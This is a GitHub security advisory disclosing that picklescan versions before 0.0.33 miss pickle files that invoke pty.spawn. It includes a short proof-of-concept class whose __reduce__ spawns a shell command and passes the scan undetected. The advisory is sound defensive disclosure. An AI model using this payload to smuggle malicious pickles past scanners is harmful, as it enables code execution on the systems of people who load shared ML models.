GitHub Advisoryadvisory · PyPI
GHSA-vqmv-47xg-9wpr Picklescan missing detection when calling pty.spawn
HIGH
Official page ↗
- Ecosystem
- PyPI
- Packages
- picklescan
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
- Weaknesses
- CWE-502
- Reviewed
- 2025-12-29
Affected packages
• PyPI picklescan: < 0.0.33 → fixed in 0.0.33
Description
Summary
Using pty.spawn, which is a built-in python library function to execute arbitrary commands on the host system.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to `pty.spawn` function in the `__reduce__` method. Then the victim attempts to use picklescan to scan the pickle file for issues and sees this -
```
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
```
The victim proceeds to load the pickle file and execute attacker-injected arbitrary code.
PoC
```
class PtyExploit:
def __reduce__(self):
return (pty.spawn, (["/bin/sh", "-c", "id; exit"],))
```
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Collaborators
https://github.com/ajohnston9
https://github.com/geo-lit
Related
Weakness · CWE (1)
- CWE-502 Deserialization of Untrusted Data weakness
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vqmv-47xg-9wpr web
- https://github.com/mmaitre314/picklescan/pull/53 web
- https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab web
- https://github.com/mmaitre314/picklescan package
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33 web